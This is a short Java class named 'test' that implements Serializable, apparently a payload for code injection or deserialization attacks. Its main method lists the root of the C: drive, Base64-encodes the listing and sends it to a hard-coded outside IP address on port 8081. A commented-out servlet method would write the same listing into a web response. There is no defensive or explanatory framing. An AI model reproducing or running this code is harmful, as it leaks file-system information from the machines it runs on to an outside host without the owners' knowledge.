1. import java.io.BufferedReader;
    2. import java.io.File;
    3. import java.io.FileNotFoundException;
    4. import java.io.FileReader;
    5. import java.io.IOException;
    6. import java.io.Serializable;
    7. import java.nio.charset.StandardCharsets;
    8. import java.util.Base64;
    9. //import javax.servlet.http.HttpServletRequest;
    10. //import javax.servlet.http.HttpServletResponse;
    11. public class test implements Serializable {
    12. public test() {
    13. }
    14. private static String readFileToString(String filepath) throws FileNotFoundException, IOException {
    15. StringBuilder sb = new StringBuilder();
    16. String s = "";
    17. BufferedReader br = new BufferedReader(new FileReader(filepath));
    18. while((s = br.readLine()) != null) {
    19. sb.append(s + "\n");
    20. }
    21. br.close();
    22. String str = sb.toString();
    23. return str;
    24. }
    25. // public void e(Object request, Object response) throws IOException, ClassNotFoundException {
    26. // HttpServletResponse res = (HttpServletResponse)response;
    27. // HttpServletRequest req = (HttpServletRequest)request;
    28. // res.getWriter().write("hahah123");
    29. // String[] filenames = (new File("C:/")).list();
    30. //
    31. // for(int i = 0; i < filenames.length; ++i) {
    32. // res.getWriter().write(filenames[i] + "\n");
    33. // }
    34. //
    35. // }
    36. public static void main(String[] args) throws Exception {
    37. StringBuilder sb = new StringBuilder();
    38. String s = "";
    39. String[] filenames = (new File("C:/")).list();
    40. for(int i = 0; i < filenames.length; ++i) {
    41. sb.append(filenames[i] + "\n");
    42. }
    43. String str = sb.toString();
    44. System.out.println(str);
    45. String base = Base64.getEncoder().encodeToString(str.getBytes(StandardCharsets.UTF_8));
    46. new java.net.URL("http://101.34.177.35:8081/?a="+base).openConnection().getInputStream();
    47. }
    48. }